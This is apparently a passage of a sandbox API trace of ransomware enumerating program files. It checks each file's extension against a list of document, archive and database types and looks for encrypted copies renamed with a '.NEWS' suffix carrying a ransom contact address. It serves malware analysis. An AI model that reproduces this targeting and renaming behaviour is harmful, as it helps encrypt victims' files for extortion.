[0217.422] lstrlenW (lpString=".dbf") returned 4 [0217.422] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.423] lstrlenW (lpString=".1cd") returned 4 [0217.423] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned 84 [0217.423] lstrlenW (lpString=".jpg") returned 4 [0217.423] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.424] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.424] lstrlenW (lpString="Perf_Scenes_Subpicture1.png") returned 27 [0217.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0217.720] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4959) returned 1 [0217.720] CloseHandle (hObject=0x304) returned 1 [0217.721] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0217.885] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0217.886] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.886] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.886] lstrlenW (lpString=".doc") returned 4 [0217.887] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.887] lstrlenW (lpString=".docx") returned 5 [0217.887] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0217.887] lstrlenW (lpString=".pdf") returned 4 [0217.887] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.887] lstrlenW (lpString=".xls") returned 4 [0217.887] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.887] lstrlenW (lpString=".xlsx") returned 5 [0217.889] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0217.889] lstrlenW (lpString=".ppt") returned 4 [0217.889] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.889] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.889] lstrlenW (lpString=".zip") returned 4 [0217.889] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.889] lstrlenW (lpString=".rar") returned 4 [0217.889] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.890] lstrlenW (lpString=".bz2") returned 4 [0217.890] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.890] lstrlenW (lpString=".7z") returned 3 [0217.890] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.890] lstrlenW (lpString=".dbf") returned 4 [0217.890] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.890] lstrlenW (lpString=".1cd") returned 4 [0217.890] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.890] lstrlenW (lpString=".jpg") returned 4 [0217.891] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.891] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.891] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.891] lstrlenW (lpString=".doc") returned 4 [0217.891] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0217.891] lstrlenW (lpString=".docx") returned 5 [0217.891] lstrcmpiW (lpString1=".docx", lpString2="1.png") returned -1 [0217.891] lstrlenW (lpString=".pdf") returned 4 [0217.891] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0217.892] lstrlenW (lpString=".xls") returned 4 [0217.892] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0217.892] lstrlenW (lpString=".xlsx") returned 5 [0217.892] lstrcmpiW (lpString1=".xlsx", lpString2="1.png") returned -1 [0217.892] lstrlenW (lpString=".ppt") returned 4 [0217.892] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0217.892] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.892] lstrlenW (lpString=".zip") returned 4 [0217.892] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0217.903] lstrlenW (lpString=".rar") returned 4 [0217.903] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0217.903] lstrlenW (lpString=".bz2") returned 4 [0217.903] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0217.903] lstrlenW (lpString=".7z") returned 3 [0217.904] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0217.904] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.904] lstrlenW (lpString=".dbf") returned 4 [0217.904] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0217.904] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.904] lstrlenW (lpString=".1cd") returned 4 [0217.904] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0217.904] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0217.904] lstrlenW (lpString=".jpg") returned 4 [0217.904] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0217.906] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0217.906] lstrlenW (lpString="Pets_notes-txt-background.png") returned 29 [0217.906] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.043] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=7888) returned 1 [0218.043] CloseHandle (hObject=0x35c) returned 1 [0218.044] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0218.054] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.054] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.054] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.054] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.055] lstrlenW (lpString=".doc") returned 4 [0218.055] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.055] lstrlenW (lpString=".docx") returned 5 [0218.055] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0218.055] lstrlenW (lpString=".pdf") returned 4 [0218.055] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.055] lstrlenW (lpString=".xls") returned 4 [0218.055] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.055] lstrlenW (lpString=".xlsx") returned 5 [0218.056] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0218.056] lstrlenW (lpString=".ppt") returned 4 [0218.056] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.056] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.056] lstrlenW (lpString=".zip") returned 4 [0218.056] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.056] lstrlenW (lpString=".rar") returned 4 [0218.057] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.057] lstrlenW (lpString=".bz2") returned 4 [0218.057] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.057] lstrlenW (lpString=".7z") returned 3 [0218.057] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.057] lstrlenW (lpString=".dbf") returned 4 [0218.057] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.057] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.057] lstrlenW (lpString=".1cd") returned 4 [0218.058] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.058] lstrlenW (lpString=".jpg") returned 4 [0218.058] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.058] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.058] lstrlenW (lpString=".doc") returned 4 [0218.058] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.058] lstrlenW (lpString=".docx") returned 5 [0218.059] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0218.059] lstrlenW (lpString=".pdf") returned 4 [0218.059] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.059] lstrlenW (lpString=".xls") returned 4 [0218.059] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.059] lstrlenW (lpString=".xlsx") returned 5 [0218.059] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0218.059] lstrlenW (lpString=".ppt") returned 4 [0218.059] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.059] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.059] lstrlenW (lpString=".zip") returned 4 [0218.059] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.059] lstrlenW (lpString=".rar") returned 4 [0218.060] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.061] lstrlenW (lpString=".bz2") returned 4 [0218.061] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.061] lstrlenW (lpString=".7z") returned 3 [0218.061] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.061] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.062] lstrlenW (lpString=".dbf") returned 4 [0218.062] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.062] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.062] lstrlenW (lpString=".1cd") returned 4 [0218.062] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.062] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0218.062] lstrlenW (lpString=".jpg") returned 4 [0218.062] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.064] lstrcmpiW (lpString1=".png", lpString2=".NEWS") returned 1 [0218.064] lstrlenW (lpString="rollinghills.png") returned 16 [0218.064] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.065] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=16842) returned 1 [0218.065] CloseHandle (hObject=0x35c) returned 1 [0218.065] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0218.066] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.066] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.067] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.067] lstrlenW (lpString=".doc") returned 4 [0218.067] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.067] lstrlenW (lpString=".docx") returned 5 [0218.067] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0218.067] lstrlenW (lpString=".pdf") returned 4 [0218.068] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.068] lstrlenW (lpString=".xls") returned 4 [0218.068] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.068] lstrlenW (lpString=".xlsx") returned 5 [0218.068] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0218.068] lstrlenW (lpString=".ppt") returned 4 [0218.068] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.068] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.068] lstrlenW (lpString=".zip") returned 4 [0218.068] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.069] lstrlenW (lpString=".rar") returned 4 [0218.069] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.069] lstrlenW (lpString=".bz2") returned 4 [0218.069] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.069] lstrlenW (lpString=".7z") returned 3 [0218.069] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.069] lstrlenW (lpString=".dbf") returned 4 [0218.069] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.069] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.069] lstrlenW (lpString=".1cd") returned 4 [0218.070] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.070] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.071] lstrlenW (lpString=".jpg") returned 4 [0218.071] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.072] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.072] lstrlenW (lpString=".doc") returned 4 [0218.072] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0218.072] lstrlenW (lpString=".docx") returned 5 [0218.072] lstrcmpiW (lpString1=".docx", lpString2="s.png") returned -1 [0218.072] lstrlenW (lpString=".pdf") returned 4 [0218.072] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0218.072] lstrlenW (lpString=".xls") returned 4 [0218.072] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0218.072] lstrlenW (lpString=".xlsx") returned 5 [0218.072] lstrcmpiW (lpString1=".xlsx", lpString2="s.png") returned -1 [0218.074] lstrlenW (lpString=".ppt") returned 4 [0218.074] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0218.074] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.074] lstrlenW (lpString=".zip") returned 4 [0218.074] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0218.074] lstrlenW (lpString=".rar") returned 4 [0218.074] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0218.074] lstrlenW (lpString=".bz2") returned 4 [0218.074] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0218.075] lstrlenW (lpString=".7z") returned 3 [0218.075] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0218.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.075] lstrlenW (lpString=".dbf") returned 4 [0218.075] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0218.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.075] lstrlenW (lpString=".1cd") returned 4 [0218.075] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0218.075] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0218.075] lstrlenW (lpString=".jpg") returned 4 [0218.076] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0218.077] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0218.077] lstrlenW (lpString="Scenes_INTRO_BG.wmv") returned 19 [0218.077] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.078] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=253226) returned 1 [0218.078] CloseHandle (hObject=0x35c) returned 1 [0218.078] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0218.079] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.079] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.079] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.080] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.080] lstrlenW (lpString=".doc") returned 4 [0218.080] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.081] lstrlenW (lpString=".docx") returned 5 [0218.081] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0218.081] lstrlenW (lpString=".pdf") returned 4 [0218.081] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.081] lstrlenW (lpString=".xls") returned 4 [0218.082] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.082] lstrlenW (lpString=".xlsx") returned 5 [0218.082] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0218.082] lstrlenW (lpString=".ppt") returned 4 [0218.082] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.082] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.082] lstrlenW (lpString=".zip") returned 4 [0218.082] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.082] lstrlenW (lpString=".rar") returned 4 [0218.082] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.082] lstrlenW (lpString=".bz2") returned 4 [0218.083] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.083] lstrlenW (lpString=".7z") returned 3 [0218.084] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.084] lstrlenW (lpString=".dbf") returned 4 [0218.084] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.084] lstrlenW (lpString=".1cd") returned 4 [0218.084] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.084] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.084] lstrlenW (lpString=".jpg") returned 4 [0218.084] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.085] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.085] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.085] lstrlenW (lpString=".doc") returned 4 [0218.085] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0218.085] lstrlenW (lpString=".docx") returned 5 [0218.085] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0218.085] lstrlenW (lpString=".pdf") returned 4 [0218.085] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0218.085] lstrlenW (lpString=".xls") returned 4 [0218.086] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0218.086] lstrlenW (lpString=".xlsx") returned 5 [0218.086] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0218.086] lstrlenW (lpString=".ppt") returned 4 [0218.086] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0218.086] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.086] lstrlenW (lpString=".zip") returned 4 [0218.087] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0218.087] lstrlenW (lpString=".rar") returned 4 [0218.087] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0218.087] lstrlenW (lpString=".bz2") returned 4 [0218.087] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0218.087] lstrlenW (lpString=".7z") returned 3 [0218.087] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0218.087] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.087] lstrlenW (lpString=".dbf") returned 4 [0218.087] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0218.087] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.087] lstrlenW (lpString=".1cd") returned 4 [0218.087] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0218.088] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0218.088] lstrlenW (lpString=".jpg") returned 4 [0218.088] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0218.088] lstrcmpiW (lpString1=".wmv", lpString2=".NEWS") returned 1 [0218.089] lstrlenW (lpString="Scenes_INTRO_BG_PAL.wmv") returned 23 [0218.089] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0218.097] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=261220) returned 1 [0218.097] CloseHandle (hObject=0x35c) returned 1 [0218.097] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0218.097] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.097] CreateFileW (lpFileName="C:\\Program Files\\DVD 